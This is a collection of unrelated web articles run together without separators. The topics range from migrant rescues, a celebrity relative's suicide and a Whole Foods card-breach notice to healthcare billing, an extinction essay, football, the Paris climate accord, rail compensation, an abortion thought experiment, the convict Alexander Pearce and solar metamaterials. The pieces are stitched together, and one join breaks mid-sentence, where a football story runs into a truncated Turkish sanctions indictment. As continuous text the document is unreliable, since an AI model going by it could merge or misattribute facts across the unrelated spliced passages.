In August, police seized a boat operated by a German aid organization, saying there was evidence some people smugglers escorted migrants to that boat. Save the Children says it has nothing to do with that case.
Save the Children was one of the first aid groups to sign a voluntary code of conduct with the Italian government to ensure they aren’t colluding with or encouraging smuggling.
The number of arriving migrants is down about 25 percent so far this year from last year, to around 110,000. And the drop will get worse as the winter closes in. Very few rescue boats are heading out into the Mediterranean now because of falling need.
Tens of thousands of migrants from Africa, the Middle East and elsewhere have struggled to sail from Libya to Italy over the past few years. Hundreds of thousands of migrants have also trekked through Turkey to Europe.
Thousands have died in the sea crossing, prompting both rescue efforts by private aid groups and efforts by the Italian government to staunch the flow.
Rome, with the EU’s backing, has helped Libya with efforts to police its vast desert land borders and to patrol its coast to prevent migrants from entering.Preity Zinta’s cousin Nitin Chauhan commits suicide on Friday morning. According to reports the mishap took place allegedly due to harassment from his wife and in-laws. Going by the reports, Preity’s brother Nitin Chauhan, who was 38 years old, shot himself with a pistol in his car in Shimla. He was going through the marital trouble for quite some time.
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Reports said, “The police found two suicide notes, one in Nitin’s car, where he shot himself, and the other at his residence. He had blamed his wife and in-laws for forcing him towards taking the extreme step, ahead of the court hearing of their legal separation on the same day.”
Also, a quote from a police officer read, “In both suicide notes, of four pages each, Chauhan blamed his wife and in-laws of harassing him.” Nitin also accused his in-laws for filing false cases and not allowing him to meet his son.
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As per recent updates, a case has been registered against Nitin’s in-laws and the police have sent the weapon for forensic examination. The family in their statement revealed that they do not possess any weapon. Police have also sent his phone for forensic investigation to dig out call details and other information.
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As per HT’s report, Nitin Chauhan’s mother, in her statement to the police said that he was at home last night but when his mother went to his room around midnight, he wasn’t there. She thought he had gone for a drive. In the morning, they saw his vehicle parked at roadside and blood near the car.Company News:
Whole Foods Market Payment Card Investigation Notification
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Whole Foods Market recently received information regarding unauthorized access of payment card information used at certain venues such as taprooms and full table-service restaurants located within some stores. These venues use a different point of sale system than the company’s primary store checkout systems, and payment cards used at the primary store checkout systems were not affected. When Whole Foods Market learned of this, the company launched an investigation, obtained the help of a leading cyber security forensics firm, contacted law enforcement, and is taking appropriate measures to address the issue.
The company’s investigation is ongoing and it will provide additional updates as it learns more. While most Whole Foods Market stores do not have these taprooms and restaurants, Whole Foods Market encourages its customers to closely monitor their payment card statements and report any unauthorized charges to the issuing bank.
The Amazon.com systems do not connect to these systems at Whole Foods Market. Transactions on Amazon.com have not been impacted.
Share:I was at a restaurant in Boston, sitting next to some high-powered business professionals. I heard words like “hospital network,” “insurance” and “pay structure” coming from their table, so I had to eavesdrop.
It turns out they were bankers whose expertise was helping hospital systems collect the money they are owed.
You need to understand that billing for health care services has become a specialty unto itself – the whole process is a giant mess. This is because there are so many different insurance companies with so many different plans and rules and networks that it is impossible to know how to get paid.
Plus, the for-profit companies that create these plans are obligated to place their shareholders over patients – they do all kinds of things that range from incompetent to nefarious to create obstacles that make it hard for providers to get reimbursed.
And all this wastes a huge amount of money. Studies estimate that up to 30 percent of our health care dollars are burned up paying for paperwork, consultants, computer systems, administrators and all the other things required to simply process the payments.
Think about that. Every time you try to figure out which network you are on, or which drug costs you less, or how much your copay is, you are experiencing a tiny part of this confusion.
And Obamacare only perpetuates the problem. Although there are some really good things in that law, it was largely designed by that same for-profit insurance industry to preserve their business model. That is why the law is so fantastically complex. The rules about mandates, subsidies, actuarial value, exchanges – all that exists to ensure profitability for those companies, allowing them to successfully stay in between patients and providers.
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Which gets back to those bankers. The system is so confusing that people can make a lot of money if they can help providers figure out how to get paid. And that is the real problem. Our health care system is filled with good people who feel they are bringing real value to the system, but they are just feeding off needless complexity while the rest of us struggle to pay our insurance premiums and medical bills.
There is another way to do this, a way where all that cost and complexity disappears. Back in 2009, Congress could simply have raised our Medicare taxes by an amount far less than what we pay for all this bureaucracy, and then we could all start with basic coverage using Medicare. But that approach is so far off the table that most Americans don't even realize it is an option.
And the problem is not just limited to those bankers – it applies to for-profit insurance companies, consultants, billing services, pharmacies, advertisers, administrators and all the others that are piggybacked onto the simple act of going to see a doctor.
There are so many people in our health care system who make money from confusion, and they are so certain they are really helping us, that any attempt to streamline or improve things is met with powerful resistance – often in the form of aggressive lobbying and potent messaging that avoids the real issues.
But think how much better our system would be if all those people were doing useful things like patient care or research instead of making money of off confusion.
Those bankers actually said it best. At the end of their meal, one of them commented how our health care system is a real mess. Another one immediately said, “Yeah, but if it wasn't, we'd be out of a job.”
As you watch your money disappear into copays, deductibles and premiums, you should be asking whether their job is one that you really want to be paying for.All Species Go Extinct or, S**t Happens
It is a law of nature. Why would you think it any different for the only extant species of humans? We are headed for extinction, like it or not.
What is particularly ironic about our case is that we are the prime instrumental force pushing us to extinction. In the geological past external events, like comet collisions, were instrumental in causing mass extinction events. Cyanobacteria evolved from pre-existing anaerobic bacteria, generating oxygen (by photosynthesis) and thus killed off a huge number of then existing life forms (all bacteria). So there is precedence for life itself causing mass extinctions. But this is probably the first time that one species has triggered events that would lead to its own demise.
The environment of the Earth is forever changing. And that is the principal cause of species extinction. A species evolves to 'fit' a particular environment or niche. When that environment changes more than the adaptive capacity of the species then the species is no longer fit and extinction ensues. It is a very old story. More species have gone extinct over geological time than exist now. It is the rule, not the exception.
Of course the extinction of a species must be accompanied by the generation of new species that are better able to fill the niches created by the new environments. Sometimes this leads to explosive speciation (see: Cambrian explosion for an example).
The main contributor to the change of the environment in the near future is us. As Walt Kelly noted in his famous Pogo cartoon, "We have met the enemy and he is us".
Energy Decline, Climate Change, Environment Degradation; The List is Long
We have built an entire human-based ecosystem based on abundant, high-EROI energy in the form of fossil fuels. We are now dependent on our energy cocoon for existence. That is our econiche! And, unfortunately, it is based on energy flows from a finite resource that is now reaching its apex. From here on out it looks like declining net energy flows are the order of the day. That means we humans are going to have less so-called wealth in the future. Not more.
On top of that, in the process of pursuing increasing net energy in the past, when it was feasible, we burned uncounted tons of carbon, producing incredible amounts of CO 2, a greenhouse gas, that is now coming back to haunt us. We are changing the very climate of the planet. And the change isn't looking to be very good for our species, and many others.
On top of that, in the process of chasing the goal of increasing our per-individual ownership of stuff in a throw-away society, we have belched out uncounted tons of garbage and pollutants. Our clever (but not sapient) command over chemistry has produced some toxins of which the effects on us and nature we are only beginning to understand. And the early evidence isn't particularly encouraging.
Overpopulation is probably our biggest'sin'. Most of our activities, if done in small portions, would not have so grossly overwhelmed the Earth's capacity to deal. But there are so many of us, each clamoring for a piece of the action, that we have now succeeded in overcoming the planet's ability to detoxify what we produce. Congratulations humanity. You win. Earth loses.
But guess what? So do you.
We will be the first species on the planet to be the instrument of our own extinction.
Shall I Grieve For Thee?
This idea is undoubtedly repugnant to the majority of people, possibly the vast majority of readers of this blog! Very probably many have considered that Homo sapiens would 'one day' go extinct; in the very far distant future. But most of you probably haven't really, seriously, considered that the time of extinction was at hand, even possibly within your own lifetime.
But then, we don't really think much about our own personal demise, do we?
Imagine that you have just gotten a check-up with your doctor. You were experiencing some symptoms that were puzzling and your doctor ordered up some tests. Now you're in his office and he has the results. He says to you: "I'm sorry to have to tell you but you have an inoperable cancer in your brain and you have only two months to live".
How would you feel?
In all likelihood you would react with something like Kübler-Ross's five stages of grief. You would first go through a process of denial. This couldn't possibly be 'your' fate. As your doctor assures you that the test results are conclusive, you get angry. How could this happen to you? It isn't fair. Etc.
Now picture the collective reaction to species extinction. How could this happen to us?
The Earth doctors have been testing the situation for our planet and our species. And though it will be hard for most to accept, the results look pretty grim. We have sealed our own fate. We are going to die and in the not-too-distant future.
Since I have written extensively in these postings about the nature of the situation I will not go into details here. It is my considered opinion (and take that as it may be) that Homo sapiens has, so to speak, shot its wad. We gave it our best shot and came up wanting. But here is the thing. It was just part of the scheme of nature. It wasn't some cosmic comedy. We lived as we had evolved to live. We are what we are and that is all there is to it. No apologies needed. We did our best to live as we understood living. That this has led to our own demise, as a species, should not be lamented. We should not beat ourselves up for being too unwise to live in a way that would have ensured our eternal continuance. Such a thing isn't even possible.
The real issue is once we get through the grieving process, can we make appropriate provisions for our successors? Oh yes. There will be successors. Evolution isn't finished with humanity even if this particular species is finished. We will have successors. Just as we make provisions for our children after our own deaths, we must make provisions for our succeeding species. For such there will be.
What Comes Next?
Some of you may have read my review of William Catton's book, Bottleneck (HERE or on The Oil Drum or The Energy Bulletin). In case you didn't, a population bottleneck occurs when there is a major die-off of a species leaving just enough individuals to provide a breeding population. This is postulated to have occurred for humans (see this). A population bottleneck is of evolutionary significance because it tends to reduce the variability in the genome of the remaining population. On the other hand, the events that led to the causes may have radically changed the environment such that only members of the species with the traits that made them survivors would produce offspring under strong pressures for further selection. Past human evolution has been correlated with significant climate changes associated with the ice ages, the cooling and the thawing. It is entirely reasonable to assume that any human survivors from the catastrophic events that we are causing will also undergo evolutionary pressures and produce one or more new species better adapted to that future world.
I, like Catton, have become convinced that sometime within the next hundred years humankind will experience a bottleneck event of its own making. The event could take many decades as in a global collapse of civilization and slow die-off of the population dependent on high energy support from fossil fuels. It could come quickly if the increasing pressures from economic decline push someone to sending nukes skyward. I can imagine any number of scenarios that may seal our fate. I am quite convinced there is no technology that could be brought to bear within a workable time frame that would mitigate this event. I am as absolutely convinced as I think possible to be that we will fail to muster the political will and smarts to employ such a technology even if it could be shown to exist and work. The reason I am so pessimistic is because of the tipping points involved in all of dynamical processes at work. There are ecological tipping points that once passed ensure that massive species die-offs will occur through population collapses. There are climate changing tipping points that work through positive feedback loops such as the warming tundra and Arctic Ocean releasing previously frozen methane thus amplifying the greenhouse effect. There are population density tipping points in which the stresses of close-packed living increase the violence and aggressive tendencies in people. There are many sociological tipping points such as Joseph Tainter's civilization collapse due to declining marginal benefit from increasing complexity. The list goes on. Any and all of these are being reached by human actions and population numbers. One or more could break and cause the others to break as well. We have just pushed the limits of growth to the point of breaking down everything.
Once society starts down the slope of collapse, no matter how rapidly or slowly it transpires, the end result is pretty much the same. At some point in the future we will have just a few surviving pockets of humans, probably quite isolated from one another, living in extremely primitive conditions, probably just getting by. Then depending on what the climate does in the way of further changes some of these may fail to adapt and survive too. But those that do, in their isolated conditions, will begin the long slow process of allopatric speciation — the development of species characteristics in separated and reproductively isolated populations. What the world gets from that might not strike us as more advanced than our current incarnation. Indeed, in a more brutal world, it could be more like the Morlocks rather than the Eloi in H. G. Wells', The Time Machine. That is the pessimist in me.
The optimist in me sees another, though not-at-all certain, possibility. Operating on the premise that humans had been evolving higher levels of sapience (see my various writings on this from this index page) before we abrogated our mental development to cleverness in technology (esp. agriculture), we might still have an opportunity to nudge future evolution toward beings with much higher levels of that which is the basis of wisdom than we now possess on average. Hence my visions of a future society in which more sapient humans could live and thrive in tune with nature. It would be a Utopia made possible only because the human brain was evolving in the direction of greater sapience (vs. greater cleverness, which we may possess too much of now!)
Remember the part above where I mentioned how when we learn or understand that we are dying we usually finish the grief by doing something to foster our loved ones, particularly our children, after we are gone? Think of future humans as our special children. Wouldn't we want to make preparations that would help ease their futures, leave them our true wealth in our wills? If there is to be a brighter future for an even more advanced human species in some distant day, we should take steps now to help that happen. We actually do know what to do in that regard. There are no guarantees, of course. Climate change may go completely out of control and the Earth ends up looking like Venus. Or a meteor could strike the planet killing everything. But those kinds of disasters (Black Swans) notwithstanding, we should hope for the best and do what we can now. We won't be around to see the results. This is the one thing I would do on faith alone.Former Walsall player Dean Smith has been manager of his home town club since January 2011
Walsall manager Dean Smith has signed a new 12-month rolling contract with the League One leaders.
The former Saddlers centre-half has been in charge at his hometown club for almost five years, making him the fourth longest-serving manager in English football's top five divisions.
He took over as Walsall boss when Chris Hutchings was sacked in January 2011.
"My current deal was up at the end of the season, so I'm glad it's been sorted," said 44-year-old Smith.
Special moment for the 'Ginger Mourinho' Smith was voted League One's manager of the month for August - only the second time he has won it in his four years and 284 days in charge.
"I feel like I'm getting better as a |
irting sanctions that the U.S. placed against Iran in 2012. Prosecutors allege that Zarrab sent Turkish gold to Iran in exchange for oil while deceiving foreign banks and U.S. regulators.
Caglayan, who served as minster of economic affairs until 2013 under Erdogan, “directed other members of the scheme to engage in certain types of deceptive transactions,” and also approved actions taken by other people involved in the scheme, prosecutors allege.
According to the indictment, Zarrab arranged a meeting in May 2013 between Caglayan and Iranian banking and oil officials to discuss the money laundering operation.
Caglayan resigned as minister of economic affairs in Dec. 2013 after he was implicated in another major corruption scandal. He has since been elected to Turkey’s parliament as a member of the Erdogan-led Justice and Development Party (AKP).
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After months of speculation, it might finally be happening: President Trump appears ready to withdraw the United States from the 2015 Paris climate agreement. If he does, he will place Washington at odds with virtually the entire international community.
I will be announcing my decision on the Paris Accord over the next few days. MAKE AMERICA GREAT AGAIN! — Donald J. Trump (@realDonaldTrump) May 31, 2017
Despite the excited tone of Trump's tweet (and reports suggesting that he had made up his mind), the matter seemed far from settled at the time of writing. The president's daughter, Ivanka Trump, and Secretary of State Rex Tillerson are supposedly urging Trump to stick with the Paris agreement. A host of big companies have urged Trump to reconsider withdrawing. On Wednesday, the shareholders of ExxonMobil, Tillerson's former company, voted by a wide margin for a resolution they say will compel the oil giant to stick to the goal of transitioning to a low-carbon economy. Many analysts also point to how clean energy is fueling job growth: There are already twice as many solar jobs as there are coal jobs in the United States.
Their opponents include White House chief adviser Stephen K. Bannon and Environmental Protection Agency Administrator Scott Pruitt, a climate skeptic who has already set about dismantling Obama-era regulations on the U.S. fossil fuel industry. Trump seems inclined toward the Bannon and Pruitt position, which has some — though not unanimous — support from the Republican Party. (Only in the United States, of course, is the question of climate change subject to partisan debate.)
You know that map the President likes? There's more than 1 Million Clean Energy jobs in States he won. Don't withdraw from #ParisAgreement pic.twitter.com/pNLnbUGdwt — Tan Copsey (@tancopsey) May 31, 2017
Championed by the Obama administration, the Paris agreement created, for the first time, a single framework for developed and developing countries to work together and reduce greenhouse gas emissions. The New York Times has a helpful primer on what the landmark accord entailed:
“Under the Paris agreement, every country submitted an individual plan to tackle its greenhouse gas emissions and then agreed to meet regularly to review their progress and prod each other to ratchet up their efforts as the years went by,” explained the Times. “Unlike its predecessor treaty, the Kyoto Protocol, the Paris deal was intended to be nonbinding, so that countries could tailor their climate plans to their domestic situations and alter them as circumstances changed. There are no penalties for falling short of declared targets. The hope was that, through peer pressure and diplomacy, these policies would be strengthened over time.”
If the United States withdraws from the accord, it would find itself in farcically lonely company. The pact was signed by 195 countries, with only Nicaragua and Syria bowing out.
In coastal, low-lying Nicaragua's case, leaders refused to sign because the pact didn't go far enough. “Nicaragua's lead envoy explained to reporters that the country would not support the agreed-upon plan as it hinged on voluntary pledges and would not punish those who failed to meet them,” wrote my colleague Adam Taylor.
As for Syria, the country “was effectively an international pariah when the Paris accord was first signed, making Damascus's involvement at the least impractical,” wrote Taylor. Numerous officials in President Bashar al-Assad's regime are the subject of international sanctions that limit their movement, and the ongoing, devastating war in the country means the Syrian government isn't paying much attention to limiting its emissions.
President Trump has decided to pull the U.S. out of the Paris Agreement. Here's what you need to know. (Daron Taylor/The Washington Post)
The implications of a U.S. withdrawal, though, are profound and far-reaching.
“A U.S. withdrawal would remove the world’s second-largest emitter and nearly 18 percent of the globe’s present day emissions from the agreement, presenting a severe challenge to its structure and raising questions about whether it will weaken the commitments of other nations,” wrote Washington Post environment reporter Chris Mooney.
Some climate experts actually suggest that, given Trump's steady dismantling of environmental protections, it's better for the United States to leave the pact altogether than to undermine it from within.
“The success of Paris largely relies on its pledge and review process to create political pressure, and drive low-carbon investments,” wrote Luke Kemp, an environmental policy expert at Australian National University. “A great power that willfully misses its target could provide political cover for other laggards and weaken the soft power of process.”
But given the importance of U.S. investment in clean energy, as well as the huge effect U.S. emissions have on the environment, experts warn that the international community's efforts to limit global warming to about 2 degrees Celsius may founder without U.S. compliance. The effects would be felt by vulnerable communities all around the world.
If Trump goes ahead and pulls the United States out, it would be “a decision made for domestic political purposes that puts the livelihood and lives of millions of people in developing countries at risk,” said Trevor Houser, a former climate negotiator for the Obama administration, to Vox's Jim Tankersley. “This is a craven, symbolic political move without any direct benefits for the constituents he’s targeting.”
Climate change is an existential threat to our future—staying in #ParisAgreement is the best way to protect our children & global leadership — Joe Biden (@JoeBiden) May 31, 2017
Affirmation of the #ParisAgreement is not only about the climate: It is also about America remaining the global leader. — Mitt Romney (@MittRomney) May 31, 2017
Although the Paris agreement is nonbinding, it may take three to four years to formally withdraw. Trump could expedite the process by quitting the U.N. Framework Convention on Climate Change, signed by President George H.W. Bush and ratified by the Senate in the early 1990s, which laid the foundation for the Paris accord. "But that is a more radical move, which would further withdraw the United States from all international climate change negotiations," wrote Mooney.
And that's the other effect of a withdrawal: the disappearance of U.S. leadership on a fundamental issue affecting the future of the planet. Already, other countries are taking the mantle once donned by Obama. Ahead of a Friday meeting between European Union leaders and Chinese Premier Li Keqiang, Beijing and Brussels issued a joint statement saying they were “determined to forge ahead” with measures to “lead the energy transition.” The statement, seen by the Financial Times, also stressed a point seemingly lost on the Trump administration: “Tackling climate change and reforming our energy systems are significant drivers of job creation, investment opportunities and economic growth.”
At a time when the world focuses its efforts to reckon with global warming, Trump may really leave the United States out in the cold.
Want smart analysis of the most important news in your inbox every weekday along with other global reads, interesting ideas and opinions to know? Sign up for the Today's WorldView newsletter.Squirrel monkeys are one of the two New World Monkeys whose genomes have been assembled and annotated. My research uses primate-specific mobile elements, known as Alu elements, that are only found in squirrel monkeys. By studying Alu element insertions in the squirrel monkey genome [these elements move around over time], researchers can help identify patterns of geographic origin within the squirrel monkey lineage, conduct population studies and improve future biomedical studies using the squirrel monkey as a model organism. For example, there are various endemic squirrel monkey viruses that are used to model human viruses such as herpes simplex virus and Epstein-Barr virus in biomedical studies.
My research project on the squirrel monkey genome has been by far one of my favorites because it has pushed me to the limits as far as thinking critically and pursuing new skill sets such as computer programming and phylogenetic concepts and software usage.
College of Science: What does a typical day look like for you?
Jasmine: A typical day for me begins at 5 a.m. when I wake up to start my self-care routine. My routine usually involves stretching or working out, drinking a cup of tea and planning my day. After my routine, I eat breakfast and get dressed and head to lab. I have found this routine to keep me more balanced and productive throughout the day.
Once I'm in the lab, I open my planner and begin knocking things off my list. Usually my lab day consists of coding python script, designing primers and completing PCR [Polymerase chain reaction (PCR) is a technique used in molecular biology to amplify a single copy or a few copies of a piece of DNA] for verification of informative genetic markers. Also, some days I spend time training undergraduates so they can gain productive lab experiences.This article is over 2 years old
‘Delay Repay 15’ scheme will be launched on Southern trains before nationwide rollout, says Department for Transport
Plans to allow rail users to claim compensation for 15-minute delays
Rail passengers will be able to claim compensation when trains are more than 15 minutes late, under new plans revealed by the Department for Transport (DfT).
The policy, Delay Repay 15, will be launched first on Southern trains, which have suffered months of disruption over disputes about the role of conductors. It will then feature on other Govia Thameslink Railway (GTR) services in the coming months before being rolled out across the country.
Existing compensation rules mean passengers can claim payouts only when services are delayed by at least 30 minutes, but one railway regulator estimates just one in five people actually do so.
Only three in four GTR trains arrived on time between 21 August and 17 September, with almost one in 10 cancelled or arriving more than 30 minutes late, Network Rail figures show.
A DfT spokeswoman could not give a start date for the scheme but said it would apply to Southern services “soon”.
The transport secretary, Chris Grayling, said: “We recognise that, above all else, passengers want a reliable train service, but when things do go wrong it is vital that they are compensated fairly.
“Delay Repay 15 is a major improvement for passengers and we are working with train companies to make it as easy as possible for passengers to claim their rightful compensation.
“Together with the Consumer Rights Act, this policy shows we are putting passengers first and making sure they receive due compensation for poor service.”
Under the Delay Repay 15 scheme, the compensation thresholds will be:
• 25% of the single fare for delays of 15 to 29 minutes
• 50% of the single fare for delays of 30 to 59 minutes
• 100% of the single fare for delays of 60 minutes to 119 minutes
• 100% of the total ticket cost (including if it is a return) for delays of two hours or more.
Facebook Twitter Pinterest A sign left in front of an information point by commuters protesting against Southern rail’s service at Victoria station in London. Photograph: PA
John Larkinson, director of railway markets and economics at the Office of Rail and Road, said: “Our previous research shows around 80% currently don’t claim. Train operators need to build on today’s announcement by continuing to raise awareness of passengers’ compensation rights and to make sure it is as easy as possible to claim.”
Following its introduction on GTR, Delay Repay 15 will be launched across the network, starting with the new South Western, West Midlands and Southeastern franchises.
Stephen Joseph, executive director of Campaign for Better Transport, said: “Southern’s long-suffering passengers deserve more than this, including a freeze or even reductions on fares to recognise the horrendous service they’ve been getting.
“Poor performance on the railways is not just limited to delays and we welcome the fact that the new Consumer Rights Act will cover the quality of rail journeys as well.”
GTR runs four services: Southern, Thameslink, Great Northern and Gatwick Express. All future DfT rail franchises will include a requirement to introduce this policy.
Officials said they would explore opportunities to roll it out for all DfT franchises during this parliament.
Charles Horton, chief executive of GTR, said: “We warmly welcome this announcement. When passengers are delayed, they deserve compensation and we strongly advise all our passengers to make a claim.
“This announcement will be good news for those with shorter journeys who think it is unfair they receive nothing for delays under 30 minutes. Now a decision has been made, we will work hard to implement this as quickly as possible.”Science fiction writer Patrick S. Tomlinson recently posed a rather interesting question, over multiple tweets, aimed at people who are against abortion.
In short: Given the choice, would you rather save 1,000 embryos or a five-year-old child?
Whenever abortion comes up, I have a question I've been asking for ten years now of the "Life begins at Conception" crowd. In ten years, no one has EVER answered it honestly. 1/ — Patrick S. Tomlinson (@stealthygeek) October 17, 2017
It's a simple scenario with two outcomes. No one ever wants to pick one, because the correct answer destroys their argument. And there IS a correct answer, which is why the pro-life crowd hates the question. 2/ — Patrick S. Tomlinson (@stealthygeek) October 17, 2017
Here it is. You're in a fertility clinic. Why isn't important. The fire alarm goes off. You run for the exit. As you run down this hallway, you hear a child screaming from behind a door. You throw open the door and find a five-year-old child crying for help. 3/ — Patrick S. Tomlinson (@stealthygeek) October 17, 2017
They're in one corner of the room. In the other corner, you spot a frozen container labeled "1000 Viable Human Embryos." The smoke is rising. You start to choke. You know you can grab one or the other, but not both before you succumb to smoke inhalation and die, saving no one. 4/ — Patrick S. Tomlinson (@stealthygeek) October 17, 2017
Do you A) save the child, or B) save the thousand embryos? There is no "C." "C" means you all die. In a decade of arguing with anti-abortion people about the definition of human life, I have never gotten a single straight A or B answer to this question. And I never will. 5/ — Patrick S. Tomlinson (@stealthygeek) October 17, 2017
It’s a thought experiment, so you don’t get to change the scenario. You have to pick one or the other.
That’s what makes it an interesting question. If you believe life begins at conception, and you believe women shouldn’t be allowed to have legal abortions because it’s the equivalent of murder, then this question shouldn’t give you even a moment’s pause. It’s the first part of the Trolley problem taken to an extreme, and it shouldn’t be complicated.
It’s not complicated for me. I would save the random five-year-old. Because embryos aren’t babies. Easy.
But how could anyone justify letting the kid die?
It reminds me of a question that often makes evangelical Christians squirm: “Is Anne Frank burning in Hell?”
If they really believe that accepting Christ is the only path to salvation, then the answer is yes. But even they recognize the cruelty of saying a girl who suffered through the Holocaust is facing another, eternal torture at the hands of their Lord.
Those with pro-life convictions should at least have the decency to be honest and say they’d let the child die. Even if it makes them look like monsters. Hell, they already sound cruel when they argue that rape victims should be forced to give birth to their attackers’ babies, and that legal methods of abortion should be shut down (even if that leads to an increase in unsafe back-alley abortions), and that birth control shouldn’t be made more accessible to all women (even if that puts more women in awful predicaments).
I know most readers of this site share my pro-choice views, but I’m genuinely curious if anyone can explain how saving the 1,000 embryos could be a valid option without coming off as an awful person. Can you play Devil’s advocate?
Is there a “pro-life” response to this question that makes any sense?
[Update: You can read a rebuttal to this post here.]
(via Raw Story)Drawings, by Thomas Bock, of the face of Alexander Pearce after his execution.
Alexander Pearce (1790 – 19 July 1824) was an Irish convict who was transported to Van Diemen's Land for seven years for theft. He escaped from prison several times. During one of these escapes he allegedly became a cannibal, murdering his companions one by one. In another escape, with one companion, he allegedly killed him and ate him in pieces. He was eventually captured and was hanged and dissected in Hobart for murder.[1]
Early life [ edit ]
Pearce was born in County Monaghan, Ireland.[2] A Roman Catholic farm labourer, he was sentenced at Armagh in 1819 to penal transportation to Van Diemen's Land for "the theft of six pairs of shoes".[3] He committed various offences in Van Diemen's Land, and on 18 May 1822 was advertised in the Hobart Town Gazette as an absconder, with a £10 reward for his capture. When caught, he was charged with absconding and forging an order, a serious crime. For this he received a second sentence of transportation, this time to the new secondary penal establishment at Sarah Island in Macquarie Harbour.
Escape and cannibalism [ edit ]
Copy of the death sentence pronounced on Alexander Pearce
On September 20, 1822, Pearce along with seven other convicts of Macquarie Harbour Penal Station: Alexander Dalton, Thomas Bodenham, William Kennerly, Matthew Travers, Edward Brown, Robert Greenhill and John Mather escaped while working on the eastern side of the harbour. Greenhill, who had the axe, appointed himself leader, supported by his friend Travers, with whom he had been sent to Macquarie Harbour for stealing businessman Anthony Fenn Kemp's schooner in an attempt to escape. About 15 days into the journey, the men were starving and drew lots to see who would be killed for food.[1] Thomas Bodenham (or perhaps Alexander Dalton: see below) drew the short straw and Greenhill despatched him with an axe. At this point three of the company — Dalton, Kennerly and Brown — took fright and decamped. Kennerly and Brown reached Macquarie Harbour, but Dalton seemed to have died of exhaustion. That left Greenhill, Travers, John Mather and Alexander Pearce. With Greenhill and Travers acting as a team, it would be Mather's or Pearce's turn next. Pearce seems to have sided with Greenhill and Travers at this point, and Mather was the next victim. It was then that Pearce had some luck: Travers was bitten on the foot by a snake. Greenhill insisted they carry him for five days, but when it became clear he would not recover, killed him.[4]
After that, it was a cat-and-mouse game. Greenhill had the axe, but they were both starving, and they had to sleep. In the end it was Pearce who prevailed. He grabbed the axe, killed Greenhill and dined on his body. He later raided an Aboriginal campsite and stole more food. When he saw sheep, he knew he had reached the settled districts. He was lucky again, as the shepherd who came upon him eating a lamb was an old friend. Pearce was inducted into a sheep stealing ring, and was eventually picked up with William Davis and Ralph Churton, who were both hanged for bushranging and escaping from a military escort.
In total, Pearce had been on the run for 113 days, a little less than half of which was spent in the wilderness. Locked up in Hobart, Pearce made a confession to the Rev. Robert Knopwood, the magistrate and chaplain. However, Knopwood did not believe the cannibalism story and was convinced the others were still living as bushrangers. He sent Pearce back to Macquarie Harbour.[1]
There are inconsistencies in Pearce's story. He made three confessions — the Knopwood confession; a confession to Lt. Cuthbertson, Commandant of Macquarie harbour when he was in hospital after the second escape (in this version, Dalton is the first victim); and a confession to Father Phillip Connolly, the colony's Catholic priest, the night before his execution — and some of the details differed. What is incontrovertible is that eight men went into the bush at Macquarie Harbour, and only three came out; and of the four men alive when Dalton, Kennerly and Brown decamped, only one survived.
Within a year, Pearce escaped a second time, joined by a young convict named Thomas Cox. Pearce was captured within ten days and taken to the Supreme Court of Van Diemen's Land in Hobart, where he was tried and convicted of murdering and cannibalising Thomas Cox. Observers noted Pearce did not look like a cannibal. He was only 1.6 m (5 ft 3 in) in height, which was under average for that time, but had a strong wiry frame. He did not seem to be someone who was "laden with the weight of human blood, and believed to have banqueted on human flesh" as the Hobart Town Gazette wrote on 25 June 1824. His captors had found parts of Cox's body in Pearce's pockets, even though he still had food left, and his guilt was beyond doubt this time. Pearce confessed he had killed Cox because when they reached King's River, he discovered that Cox could not swim. Pearce was the first felon to be executed by the new Supreme Court and the first confessed cannibal to pass through the Tasmanian court system.[4]
Alexander Pearce was hanged at the Hobart Town Gaol at 9am on 19 July 1824, after receiving the last rites from Father Connolly.[5] It is reported that just before he was hanged, Pearce said, "Man’s flesh is delicious. It tastes far better than fish or pork."[6]
In popular culture [ edit ]
The skull of Alexander Pearce
Alexander Pearce is the subject of the Australian band Weddings Parties Anything's song "A Tale They Won't Believe". The narrative in the song follows the account given in The Fatal Shore by Robert Hughes.
Australian band The Drones recorded "Words from the Executioner to Alexander Pearce".
Also in 2008, Dying Breed, a horror film about Pearce was released. It featured fictional "descendants" of Pearce.[7] Shot in Tasmania and Melbourne (including at the Pieman River on the West Coast of Tasmania), Dying Breed stars writer/actor Leigh Whannell and Nathan Phillips.[7]
The story of Pearce's cannibalism was made into another feature-length movie called Van Diemen's Land, released to Australian cinemas in September 2009.[8]
See also [ edit ]
References [ edit ]
Further reading [ edit ]
Collins, Paul. Hell's Gates: the terrible journey of Alexander Pearce, Van Dieman's Land Cannibal. South Yarra, 2002. ISBN 1-74064-083-7
. South Yarra, 2002. ISBN 1-74064-083-7 Sprod, Dan. Alexander Pearce of Macquarie Harbour. Hobart: Cat & Fiddle Press, 1977. ISBN 0-85853-031-7
. Hobart: Cat & Fiddle Press, 1977. ISBN 0-85853-031-7 Kidd, Paul B. Australia's Serial Killers ISBN 0-7329-1036-6In an advance that could lead to solar cells that more fully utilize sunlight, researchers at Caltech have designed materials that can bend visible light at unusual but precise angles, no matter its polarization. The scientists hope the materials are a step toward perfectly transparent solar-cell coatings that would direct all the sun’s rays into the active area to improve solar power output.
Solar material: Caltech researcher Stanley Burgos uses a focused ion beam microscope to examine a new metamaterial. The material’s microscopic structure, visible on the computer screen, can be tuned to interact with light in unusual ways.
Many groups are working on novel antireflective solar cell coatings in the hopes of getting more light into solar cells. The Caltech group, which includes Harry Atwater, professor of applied physics and materials science, and researcher Stanley Burgos, is addressing the problem by precisely tailoring the structure of materials at the nano and micro scales, creating “metamaterials” that exhibit optical properties that are not found in naturally occurring materials. In the most recent work, Atwater and his coworkers demonstrated a material that precisely controls the path of visible light regardless of the polarization of the light–a first for metamaterials.
The Caltech metamaterial is a metal film several hundred nanometers thick. The films are patterned with circular cavities, each of which surrounds a wirelike column made of the same material. The space between the wire and the cavity wall is filled with a second metal. Depending on the dimensions of the patterns, the material bends, or refracts, light of different colors to a different degree. Atwater says the goal of his project is to make films with a refractive index exactly equal to that of air. Such a material would not bend light at all but would transmit it perfectly, with no reflection. When light moves from one medium to another, it scatters–this is why a straw in a glass of water appears to be broken. There’s a mismatch between the refractive index of water and air. A solar cell coated with a material whose refractive index is identical to that of air would reflect no light at all.
The films that Atwater’s group is making are metallic conductors, and could also serve as the top electrode on a solar cell. Atwater says that while some metamaterial designs have been complex to make and involve multilayered structures, these single-layer films can be made using lithography and etching techniques commonplace in the chip-making industry.
